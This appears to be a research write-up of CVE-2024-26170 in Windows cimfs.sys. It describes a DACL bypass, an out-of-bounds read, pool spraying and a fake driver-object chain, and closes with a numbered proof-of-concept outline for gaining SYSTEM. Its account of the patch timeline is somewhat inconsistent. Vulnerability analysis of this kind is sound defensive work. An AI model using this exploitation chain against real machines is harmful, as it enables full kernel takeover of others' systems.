CVE-2024-26170 — CimFS OOB Read → Fake Object Chain → PreviousMode Null → LPE

Last updated: 2026-04-10
Severity: High
Component: cimfs.sys (Composite Image File System driver)
Bug Class: OOB read (unvalidated offset in GetDataSegment) → fake object chain → arbitrary call → PreviousMode null
Privilege Escalation: User → SYSTEM
Patch: March 2024 Patch Tuesday (access restriction only — no logic fix)
Discoverer: StarLabs (Ong How Chong) — demonstrated at Pwn2Own 2024
Related: Cimfs, Primitives, Heap Grooming
Tags: cimfs, oob-read, fake-object, previousmode, wnf, pool-spray, kernel-mode, lpe, dacl-bypass


Vulnerability Summary

CVE-2024-26170 is a two-stage vulnerability in cimfs.sys:

  1. Stage 1 — DACL bypass: The CimFS control device (\Device\cimfs\control) has a restrictive DACL (System/Administrators only), but was created without the FILE_DEVICE_SECURE_OPEN flag. This allows unprivileged users to open child device paths that route to the same control device, bypassing the DACL entirely.

  2. Stage 2 — OOB read in GetDataSegment: A flag byte at offset +0x77 in the OpenFile structure (read from the attacker-controlled region file) disables bounds checking in Cim::FileSystem::GetDataSegment(). The unvalidated offset v16 = 0xB8 * (uint16)userControl is used to index into RegionView, reading a PFILE_OBJECT pointer from kernel pool beyond the legitimate allocation — controlled by pool spray.

The OOB-read fake FILE_OBJECT pointer is passed to IoGetRelatedDeviceObject(), which dereferences attacker-controlled DEVICE_OBJECT and DRIVER_OBJECT chain, ultimately calling MajorFunction[IRP_MJ_READ] (index 3) — a gadget that nulls KTHREAD.PreviousMode, granting full kernel R/W.

Pwn2Own 2024 note: The vulnerability was unpatched at contest time because Microsoft’s patch added access restrictions rather than fixing the logic — making the patch invisible to patch diffing.


Stage 1: DACL Bypass via Missing FILE_DEVICE_SECURE_OPEN

The Problem

When a WDM driver creates a device object and does NOT set FILE_DEVICE_SECURE_OPEN:

IoCreateDevice(DriverObject, ..., DeviceType, FALSE /*no exclusive*/,
               &DeviceObject);
// FILE_DEVICE_SECURE_OPEN (0x100) NOT set in Characteristics

Windows I/O manager behavior: the DACL on the device is only checked when opening the device directly by name. When a child path is opened (a path with extra components after the device name), the DACL check is skipped and the request is forwarded to the device anyway.

The Bypass

// Restricted: \Device\cimfs\control — DACL: SYSTEM/Administrators only
// This fails for non-admin:
CreateFileW(L"\\\\.\\CimfsControl", ...);

// This SUCCEEDS for any user (missing FILE_DEVICE_SECURE_OPEN):
CreateFileW(L"\\??\\CimfsControl\\something", ...);
// "something" is arbitrary — all requests route to the control device

Any logged-in user can now send IOCTLs to the CimFS driver.


CimFS Region File Format

CimFS .cim files consist of a region file containing:

  • Data segments
  • Stream segments
  • Reparse data
  • Hardlink data
  • Security descriptors
  • File hashes

The region file format is completely undocumented. A freshly created region file is 135,168 bytes. The driver parses this on mount via IOCTL 0x220004.


Stage 2: OOB Read in GetDataSegment

IOCTL Flow

User calls:   IOCTL 0x220004 (mount volume) with malformed region file
Kernel:       Cim::Volume::Mount() → parses region file → CreateOpenFile()
                                    → populates OpenFile structure

Later:
User reads:   ADS (Alternate Data Stream) of hardlink inside mounted image
Kernel:       Cim::FileSystem::GetDataSegment() called
                → GetStreamSegment()
                → checks flag at OpenFile[+0x77]
                → if bit 0 set: SKIP validation, return unvalidated offset
                → uses offset to read PFILE_OBJECT from RegionView

Vulnerable Code Path

// Simplified pseudocode of GetDataSegment / GetStreamSegment:

NTSTATUS GetStreamSegment(OpenFile *a2, ...) {
    if ((*((_BYTE *)a2 + 0x77) & 1) != 0) {
        // BUG: returns immediately, no bounds check on the offset
        *out_offset = unvalidated_value_from_region_file;
        return STATUS_SUCCESS;
    }
    // Normal path: validate via GetOffsetTruncate()
    return GetOffsetTruncate(a2, out_offset);
}

NTSTATUS GetDataSegment(OpenFile *a2, ...) {
    uint16_t userControl = *(uint16_t *)(region_data + some_offset);
    uint64_t v16 = 0xB8ULL * (uint64_t)userControl;  // unvalidated multiply
    PVOID *ptr = (PVOID *)(RegionView + v16);          // OOB access
    FILE_OBJECT *fobj = *ptr;                          // reads attacker-controlled ptr
    // fobj is now attacker-controlled from pool spray
}

Offset formula: v16 = 0xB8 * (uint16)userControl — with a crafted userControl, this reads 0xB8 * N bytes past the start of RegionView into adjacent pool allocations.


Exploitation

Step 1: Pool Spray Setup

Two spray objects:

ObjectSizePurpose
_WNF_STATE_DATA0x880 bytesPrimary spray — fills paged pool pages
KeyedEvent0x680 bytesSecondary spray — occupies adjacent slots

Spray strategy:

  1. Allocate many _WNF_STATE_DATA (0x880) objects → fills paged pool
  2. Force two specific objects to be contiguous on the same page
  3. Free 1/4 of the spray objects → creates holes in the page
  4. The victim allocation (from IOCTL processing) lands in one of the holes

Step 2: Fake Object Chain in Spray

The spray objects contain a complete fake object hierarchy:

_WNF_STATE_DATA spray payload:
┌─────────────────────────────────────────────────────┐
│  Fake FILE_OBJECT                                    │
│    DeviceObject → ptr to Fake DEVICE_OBJECT          │
│                                                      │
│  Fake DEVICE_OBJECT                                  │
│    DriverObject → ptr to Fake DRIVER_OBJECT          │
│                                                      │
│  Fake DRIVER_OBJECT                                  │
│    MajorFunction[3] (IRP_MJ_READ) → gadget address  │
└─────────────────────────────────────────────────────┘

Step 3: OOB Read Dereferences Fake Chain

With the crafted region file:

  1. Mount via IOCTL 0x220004 → OpenFile populated with flag byte +0x77 = 1
  2. Read ADS of hardlink → triggers GetDataSegment() → OOB read
  3. RegionView + (0xB8 * crafted_userControl) → reads from spray region → gets fake PFILE_OBJECT

Step 4: Arbitrary Call via IoGetRelatedDeviceObject + IofCallDriver

// In the IOCTL handler, after GetDataSegment returns fake FILE_OBJECT:
PDEVICE_OBJECT dev = IoGetRelatedDeviceObject(fake_file_object);
// IoGetRelatedDeviceObject dereferences: fake_file_object->DeviceObject
// Returns: fake_DEVICE_OBJECT (attacker-controlled)

IofCallDriver(fake_device_object, irp);
// Executes: fake_device_object->DriverObject->MajorFunction[3](fake_device_object, irp)
// MajorFunction[3] = attacker-controlled function pointer = gadget

Step 5: Gadget → Null PreviousMode

Gadget: DirectComposition::CSharedResourceMarshaler::ReleaseAllReferences()

This function contains a write-null primitive at [RCX + 0x38] where RCX = the first argument (the fake DEVICE_OBJECT).

By positioning the fake DEVICE_OBJECT such that fake_device_object + 0x38 = current_KTHREAD + PreviousMode_offset:

fake_DEVICE_OBJECT_address = KTHREAD_address - 0x38 + PreviousMode_offset
gadget writes NULL to fake_DEVICE_OBJECT + 0x38 = KTHREAD.PreviousMode

KTHREAD.PreviousMode = 0 (KernelMode) → NtRead/WriteVirtualMemory now accept kernel addresses.

Step 6: Token Steal

With PreviousMode = 0:

  1. Walk EPROCESS.ActiveProcessLinks to find SYSTEM (PID 4) EPROCESS
  2. Read SYSTEM_EPROCESS.Token
  3. Write SYSTEM token to current process EPROCESS.Token
  4. SYSTEM privileges obtained

Fuzzer Design

The StarLabs team used a custom fuzzer targeting post-mount CimFS operations:

  • Mount verification: Dry-run each mutation to confirm the image mounts successfully before triggering parsing code (avoids wasting iterations on rejected mounts)
  • Coarse mutation: Modify bytes in the region file at specific structural offsets (not fully random)
  • Coverage: Exercised all FileInformationClass values 4–77 via NtQueryInformationFile()
  • Extended attributes: NtQueryEaFile() also exercised
  • BSOD trigger: IOCTL 0x220014 (secondary operation) targeted for crash reproduction

Patch Analysis

What Microsoft did: Added access restrictions to prevent unprivileged users from reaching the driver.

What Microsoft did NOT do: Fix the underlying OOB logic in GetDataSegment / GetStreamSegment.

Implications:

  • Admin-to-Kernel escalation path still exists (requires admin, which bypasses the new restriction)
  • The patch is a DACL/access fix only — patch diffing cimfs.sys binary shows no code changes
  • This explains why the bug was still unpatched at Pwn2Own 2024: researchers doing binary patch diffing saw no changes and correctly suspected the underlying logic was untouched

Key Primitives Used

PrimitiveSource
DACL bypassMissing FILE_DEVICE_SECURE_OPEN on device creation
Controlled OOB read0xB8 * userControl unvalidated offset into RegionView
Arbitrary pool readOOB reads PFILE_OBJECT from spray
Arbitrary function callFake vtable chain: FILE_OBJECT → DEVICE_OBJECT → DRIVER_OBJECT → MajorFunction[3]
Arbitrary null writeDirectComposition::CSharedResourceMarshaler::ReleaseAllReferences gadget
PreviousMode = 0Null write via gadget at KTHREAD.PreviousMode
Full kernel R/WNtRead/WriteVirtualMemory with KernelMode PreviousMode
Token stealEPROCESS traversal + Token field copy

Proof-of-Concept Summary

1. CreateFileW("\\??\\CimfsControl\\anything")   // DACL bypass
2. IOCTL 0x220004 with crafted region file        // Mount; populates OpenFile[+0x77] = 1
3. Spray WNF_STATE_DATA (0x880) × N              // Fill paged pool
4. Free 1/4 of spray                             // Create holes
5. Mount triggers OOB path; victim alloc in hole // Pool position secured
6. Read ADS of hardlink in mounted image          // Triggers GetDataSegment OOB
7. OOB → fake FILE_OBJECT → IoGetRelatedDeviceObject → IofCallDriver
8. MajorFunction[3] = ReleaseAllReferences gadget runs
9. Gadget: *(KTHREAD.PreviousMode_addr) = 0
10. NtWriteVirtualMemory(SYSTEM_EPROCESS.Token_addr, &system_token, 8)
11. cmd.exe as SYSTEM

References

  • StarLabs / Ong How Chong — “CimFS: Crashing In Memory, Finding SYSTEM (Kernel Edition)” — starlabs.sg/blog, 2025-03
  • Microsoft MSRC — CVE-2024-26170 advisory — March 2024